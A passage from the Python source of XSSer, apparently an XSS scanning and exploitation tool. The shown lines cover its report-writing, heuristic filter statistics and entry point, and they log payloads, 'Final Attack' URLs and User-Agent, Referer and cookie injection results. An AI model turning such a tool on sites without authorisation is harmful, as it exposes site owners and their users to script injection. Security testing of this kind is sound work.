  3292. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3293. else:
  3294. if self.token_arrived_flag == True:
  3295. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3296. else:
  3297. if self.options.reversecheck:
  3298. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3299. else:
  3300. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3301. else:
  3302. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3303. if self.token_arrived_flag == True:
  3304. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3305. else:
  3306. if self.options.reversecheck:
  3307. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3308. else:
  3309. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3310. else:
  3311. if self.token_arrived_flag == True:
  3312. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3313. else:
  3314. if self.options.reversecheck:
  3315. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3316. else:
  3317. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3318. fout.write("="*75 + "\n\n")
  3319. elif line[1] == "[Heuristic test]":
  3320. if len(self.hash_found) < 11:
  3321. if line[4]:
  3322. self.report("[+] Target:", line[6] + " | " + line[4])
  3323. else:
  3324. self.report("[+] Target:", line[6])
  3325. self.report("[+] Vector: [ " + str(line[3]) + " ]")
  3326. self.report("[!] Method:", line[2])
  3327. self.report("[*] Payload:", line[5])
  3328. self.report("[!] Status: NOT FILTERED!", "\n", '-'*50, "\n")
  3329. if self.options.fileoutput:
  3330. fout.write("="*75)
  3331. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3332. fout.write("="*75 + "\n\n")
  3333. for line in self.hash_found:
  3334. if line[4]:
  3335. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
  3336. else:
  3337. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
  3338. fout.write("="*75 + "\n\n")
  3339. else:
  3340. self.auto_found = self.auto_found + 1
  3341. if len(self.hash_found) < 11:
  3342. if line[4]: # when query string
  3343. self.report("[+] Target:", line[6] + " | " + line[4])
  3344. else:
  3345. self.report("[+] Target:", line[6])
  3346. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3347. self.report("[!] Method: URL")
  3348. self.report("[*] Hash:", line[3])
  3349. self.report("[*] Payload:", line[0])
  3350. self.report("[!] Vulnerable:", line[1])
  3351. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3352. self.report("[*] Final Attack:", attack_url)
  3353. if self.token_arrived_flag == True:
  3354. self.report("[!] Status: XSS FOUND! [100% VULNERABLE]", "\n", '-'*50, "\n")
  3355. else:
  3356. if self.options.reversecheck:
  3357. self.report("[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]", "\n", '-'*50, "\n")
  3358. else:
  3359. self.report("[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]", "\n", '-'*50, "\n")
  3360. if self.options.fileoutput:
  3361. fout.write("="*75)
  3362. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3363. fout.write("="*75 + "\n\n")
  3364. for line in self.hash_found:
  3365. if line[4]:
  3366. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3367. if self.token_arrived_flag == True:
  3368. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3369. else:
  3370. if self.options.reversecheck:
  3371. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3372. else:
  3373. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3374. else:
  3375. if self.token_arrived_flag == True:
  3376. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3377. else:
  3378. if self.options.reversecheck:
  3379. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3380. else:
  3381. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3382. else:
  3383. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3384. if self.token_arrived_flag == True:
  3385. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3386. else:
  3387. if self.options.reversecheck:
  3388. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3389. else:
  3390. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3391. else:
  3392. if self.token_arrived_flag == True:
  3393. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3394. else:
  3395. if self.options.reversecheck:
  3396. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3397. else:
  3398. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
  3399. fout.write("="*75 + "\n\n")
  3400. if self.options.fileoutput:
  3401. fout.close()
  3402. if self.options.fileoutput and not self.options.filexml:
  3403. self.report("[Info] Generating report: [ XSSreport.raw ]\n")
  3404. self.report("-"*25+"\n")
  3405. if self.options.fileoutput and self.options.filexml:
  3406. self.report("[Info] Generating report: [ XSSreport.raw ] | Exporting results to: [ " + str(self.options.filexml) + " ] \n")
  3407. self.report("-"*25+"\n")
  3408. if len(self.hash_found) > 10 and not self.options.fileoutput: # write results fo file when large output (white magic!)
  3409. if not self.options.filexml:
  3410. self.report("[Info] Aborting large screen output. Generating auto-report at: [ XSSreport.raw ] ;-)\n")
  3411. self.report("-"*25+"\n")
  3412. fout = open("XSSreport.raw", "w") # write better than append
  3413. fout.write("="*75)
  3414. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3415. fout.write("="*75 + "\n\n")
  3416. for line in self.hash_found:
  3417. if line[4]:
  3418. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3419. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3420. else:
  3421. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
  3422. else:
  3423. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3424. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3425. else:
  3426. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
  3427. fout.write("="*75 + "\n\n")
  3428. fout.close()
  3429. else:
  3430. self.report("[Info] Exporting results to: [ " + str(self.options.filexml) + " ]\n")
  3431. self.report("-"*25+"\n")
  3432. # heuristic always with statistics
  3433. if self.options.heuristic:
  3434. heuris_semicolon_total_found = self.heuris_semicolon_found + self.heuris_une_semicolon_found + self.heuris_dec_semicolon_found
  3435. heuris_backslash_total_found = self.heuris_backslash_found + self.heuris_une_backslash_found + self.heuris_dec_backslash_found
  3436. heuris_slash_total_found = self.heuris_slash_found + self.heuris_une_slash_found + self.heuris_dec_slash_found
  3437. heuris_minor_total_found = self.heuris_minor_found + self.heuris_une_minor_found + self.heuris_dec_minor_found
  3438. heuris_mayor_total_found = self.heuris_mayor_found + self.heuris_une_mayor_found + self.heuris_dec_mayor_found
  3439. heuris_doublecolon_total_found = self.heuris_doublecolon_found + self.heuris_une_doublecolon_found + self.heuris_dec_doublecolon_found
  3440. heuris_colon_total_found = self.heuris_colon_found + self.heuris_une_colon_found + self.heuris_dec_colon_found
  3441. heuris_equal_total_found = self.heuris_equal_found + self.heuris_une_equal_found + self.heuris_dec_equal_found
  3442. total_heuris_found = heuris_semicolon_total_found + heuris_backslash_total_found + heuris_slash_total_found + heuris_minor_total_found + heuris_mayor_total_found + heuris_doublecolon_total_found + heuris_colon_total_found + heuris_equal_total_found
  3443. total_heuris_params = total_heuris_found + self.heuris_semicolon_found + self.heuris_backslash_found + self.heuris_slash_found + self.heuris_minor_found + self.heuris_mayor_found + self.heuris_doublecolon_found + self.heuris_colon_found + self.heuris_equal_found
  3444. total_heuris_notfound = self.heuris_semicolon_notfound + self.heuris_backslash_notfound + self.heuris_slash_notfound + self.heuris_minor_notfound + self.heuris_mayor_notfound + self.heuris_doublecolon_notfound + self.heuris_colon_notfound + self.heuris_equal_notfound
  3445. if total_heuris_notfound > 0: # not shown when not found
  3446. self.options.statistics = True
  3447. # some statistics reports
  3448. if self.options.statistics:
  3449. # heuristic test results
  3450. if self.options.heuristic:
  3451. self.report("\n"+'='*75)
  3452. self.report("[+] Heuristics:")
  3453. self.report('='*75)
  3454. test_time = datetime.datetime.now() - self.time
  3455. self.report("\n" + '-'*50)
  3456. self.report("Test Time Duration: ", test_time)
  3457. self.report('-'*50 )
  3458. total_connections = total_heuris_found + total_heuris_notfound
  3459. self.report("Total fuzzed:", total_connections)
  3460. self.report('-'*75)
  3461. self.report(' ', " <FILTERED!>", " <NOT FILTERED!>", " =" , " ASCII", "+", "UNE/HEX", "+", "DEC")
  3462. # semicolon results
  3463. self.report('; ', " ", self.heuris_semicolon_notfound, " ",
  3464. heuris_semicolon_total_found, " ",
  3465. self.heuris_semicolon_found, " ",
  3466. self.heuris_une_semicolon_found, " ",
  3467. self.heuris_dec_semicolon_found)
  3468. # backslash results
  3469. self.report('\\ ', " ", self.heuris_backslash_notfound, " ",
  3470. heuris_backslash_total_found, " ",
  3471. self.heuris_backslash_found, " ",
  3472. self.heuris_une_backslash_found, " ",
  3473. self.heuris_dec_backslash_found)
  3474. # slash results
  3475. self.report("/ ", " ", self.heuris_slash_notfound, " ",
  3476. heuris_slash_total_found, " ",
  3477. self.heuris_slash_found, " ",
  3478. self.heuris_une_slash_found, " ",
  3479. self.heuris_dec_slash_found)
  3480. # minor results
  3481. self.report("< ", " ", self.heuris_minor_notfound, " ",
  3482. heuris_minor_total_found, " ",
  3483. self.heuris_minor_found, " ",
  3484. self.heuris_une_minor_found, " ",
  3485. self.heuris_dec_minor_found)
  3486. # mayor results
  3487. self.report("> ", " ", self.heuris_mayor_notfound, " ",
  3488. heuris_mayor_total_found, " ",
  3489. self.heuris_mayor_found, " ",
  3490. self.heuris_une_mayor_found, " ",
  3491. self.heuris_dec_mayor_found)
  3492. # doublecolon results
  3493. self.report('" ', " ", self.heuris_doublecolon_notfound, " ",
  3494. heuris_doublecolon_total_found, " ",
  3495. self.heuris_doublecolon_found, " ",
  3496. self.heuris_une_doublecolon_found, " ",
  3497. self.heuris_dec_doublecolon_found)
  3498. # colon results
  3499. self.report("' ", " ", self.heuris_colon_notfound, " ",
  3500. heuris_colon_total_found, " ",
  3501. self.heuris_colon_found, " ",
  3502. self.heuris_une_colon_found, " ",
  3503. self.heuris_dec_colon_found)
  3504. # equal results
  3505. self.report("= ", " ", self.heuris_equal_notfound, " ",
  3506. heuris_equal_total_found, " ",
  3507. self.heuris_equal_found, " ",
  3508. self.heuris_une_equal_found, " ",
  3509. self.heuris_dec_equal_found)
  3510. self.report('-'*75)
  3511. try:
  3512. _accur = total_heuris_found * 100 / total_heuris_params
  3513. except ZeroDivisionError:
  3514. _accur = 0
  3515. self.report('Target(s) Filtering Accur: %s %%' % _accur)
  3516. self.report('-'*75)
  3517. # statistics block
  3518. if len(self.hash_found) + len(self.hash_notfound) == 0:
  3519. pass
  3520. if self.options.heuristic:
  3521. pass
  3522. else:
  3523. self.report('='*75)
  3524. self.report("[+] Statistics:")
  3525. self.report('='*75)
  3526. test_time = datetime.datetime.now() - self.time
  3527. self.report("\n" + '-'*50)
  3528. self.report("Test Time Duration: ", test_time)
  3529. self.report('-'*50 )
  3530. total_connections = self.success_connection + self.not_connection + self.forwarded_connection + self.other_connection
  3531. self.report("Total Connections:", total_connections)
  3532. self.report('-'*25)
  3533. self.report("200-OK:" , self.success_connection , "|", "404:" ,
  3534. self.not_connection , "|" , "503:" ,
  3535. self.forwarded_connection , "|" , "Others:",
  3536. self.other_connection)
  3537. try:
  3538. _accur = self.success_connection * 100 / total_connections
  3539. except ZeroDivisionError:
  3540. _accur = 0
  3541. self.report("Connec: %s %%" % _accur)
  3542. self.report('-'*50)
  3543. total_payloads = self.check_positives + self.manual_injection + self.auto_injection + self.dcp_injection + self.dom_injection + self.xsa_injection + self.xsr_injection + self.coo_injection
  3544. self.report("Total Payloads:", total_payloads)
  3545. self.report('-'*25)
  3546. self.report("Checker:", self.check_positives, "|", "Manual:",
  3547. self.manual_injection, "|" , "Auto:" ,
  3548. self.auto_injection ,"|", "DCP:",
  3549. self.dcp_injection, "|", "DOM:", self.dom_injection,
  3550. "|", "Induced:", self.httpsr_injection, "|" , "XSR:",
  3551. self.xsr_injection, "|", "XSA:",
  3552. self.xsa_injection , "|", "COO:",
  3553. self.coo_injection)
  3554. self.report('-'*50)
  3555. self.report("Total Injections:" ,
  3556. len(self.hash_notfound) + len(self.hash_found))
  3557. self.report('-'*25)
  3558. self.report("Failed:" , len(self.hash_notfound), "|",
  3559. "Successful:" , len(self.hash_found))
  3560. try:
  3561. _accur = len(self.hash_found) * 100 / total_injections
  3562. except ZeroDivisionError:
  3563. _accur = 0
  3564. self.report("Accur : %s %%" % _accur)
  3565. self.report("\n" + '='*50)
  3566. total_discovered = self.false_positives + self.manual_found + self.auto_found + self.dcp_found + self.dom_found + self.xsr_found + self.xsa_found + self.coo_found
  3567. self.report("\n" + '-'*50)
  3568. self.report("Total XSS Discovered:", total_discovered)
  3569. self.report('-'*50)
  3570. self.report("Checker:", self.false_positives, "|",
  3571. "Manual:",self.manual_found, "|", "Auto:",
  3572. self.auto_found, "|", "DCP:", self.dcp_found,
  3573. "|", "DOM:", self.dom_found, "|", "Induced:",
  3574. self.httpsr_found, "|" , "XSR:", self.xsr_found,
  3575. "|", "XSA:", self.xsa_found, "|", "COO:",
  3576. self.coo_found)
  3577. self.report('-'*50)
  3578. self.report("False positives:", self.false_positives, "|",
  3579. "Vulnerables:",
  3580. total_discovered - self.false_positives)
  3581. self.report('-'*25)
  3582. # efficiency ranking:
  3583. # algor= vulnerables + false positives - failed * extras
  3584. mana = 0
  3585. h_found = 0
  3586. for h in self.hash_found:
  3587. h_found = h_found + 1
  3588. if h_found > 3:
  3589. mana = mana + 4500
  3590. if h_found == 1:
  3591. mana = mana + 500
  3592. if self.options.reversecheck:
  3593. mana = mana + 200
  3594. if total_payloads > 100:
  3595. mana = mana + 150
  3596. if not self.options.xsser_gtk:
  3597. mana = mana + 25
  3598. if self.options.discode:
  3599. mana = mana + 100
  3600. if self.options.proxy:
  3601. mana = mana + 100
  3602. if self.options.threads > 9:
  3603. mana = mana + 100
  3604. if self.options.heuristic:
  3605. mana = mana + 100
  3606. if self.options.finalpayload or self.options.finalremote:
  3607. mana = mana + 100
  3608. if self.options.script:
  3609. mana = mana + 100
  3610. if self.options.Cem or self.options.Doo:
  3611. mana = mana + 75
  3612. if self.options.heuristic:
  3613. mana = mana + 50
  3614. if self.options.script and not self.options.fuzz:
  3615. mana = mana + 25
  3616. if self.options.followred and self.options.fli:
  3617. mana = mana + 25
  3618. if self.options.wizard:
  3619. mana = mana + 25
  3620. if self.options.dcp:
  3621. mana = mana + 25
  3622. if self.options.hash:
  3623. mana = mana + 10
  3624. mana = (len(self.hash_found) * mana) + mana
  3625. # enjoy it :)
  3626. self.report("Mana:", mana)
  3627. self.report("")
  3628. c = Curl()
  3629. if not len(self.hash_found) and self.hash_notfound:
  3630. if self.options.hash:
  3631. if self.options.statistics:
  3632. self.report('='*75 + '\n')
  3633. self.report("[Info] Target isn't replying to the input [ --hash ] sent!\n")
  3634. else:
  3635. if self.options.target or self.options.heuristic:
  3636. self.report("")
  3637. if self.options.heuristic:
  3638. pass
  3639. else:
  3640. if self.options.statistics:
  3641. self.report('='*75 + '\n')
  3642. if self.options.fileoutput:
  3643. fout = open("XSSreport.raw", "w") # write better than append
  3644. fout.write("="*75)
  3645. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3646. fout.write("="*75 + "\n\n")
  3647. for h in self.hash_notfound:
  3648. if h[2] == 'heuristic':
  3649. if not h[4]:
  3650. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3651. else:
  3652. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3653. elif h[2] == 'hashing check':
  3654. if not h[4]:
  3655. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + "\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n" + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3656. else:
  3657. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: " + str(h[2]) + "\n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status:\n\n FILTERED!\n\n")
  3658. else:
  3659. if h[4]:
  3660. if h[2] == "XSA":
  3661. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3662. elif h[2] == "XSR":
  3663. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3664. elif h[2] == "COO":
  3665. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3666. else:
  3667. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
  3668. else:
  3669. if h[2] == "XSA":
  3670. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3671. elif h[2] == "XSR":
  3672. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3673. elif h[2] == "COO":
  3674. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FAILED!\n\n")
  3675. else:
  3676. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + h[1] + "\n\n[!] Status: XSS FAILED!\n\n")
  3677. fout.write("="*75 + "\n\n")
  3678. fout.close()
  3679. else:
  3680. # some exits and info for some bad situations:
  3681. if len(self.hash_found) + len(self.hash_notfound) == 0 and not Exception:
  3682. self.report("\n[Error] XSSer cannot send any data... maybe -something- is blocking connection(s)!?\n")
  3683. if len(self.hash_found) + len(self.hash_notfound) == 0 and self.options.crawling:
  3684. if self.options.xsser_gtk:
  3685. self.report('='*75)
  3686. self.report("\n[Error] Not any feedback from crawler... Aborting! :(\n")
  3687. self.report('='*75 + '\n')
  3688. # print results to xml file
  3689. if self.options.filexml:
  3690. xml_report_results = xml_reporting(self)
  3691. try:
  3692. xml_report_results.print_xml_results(self.options.filexml)
  3693. except:
  3694. return
  3695. if __name__ == "__main__":
  3696. app = xsser()
  3697. options = app.create_options()
  3698. if options:
  3699. app.set_options(options)
  3700. app.run()
  3701. app.land(True)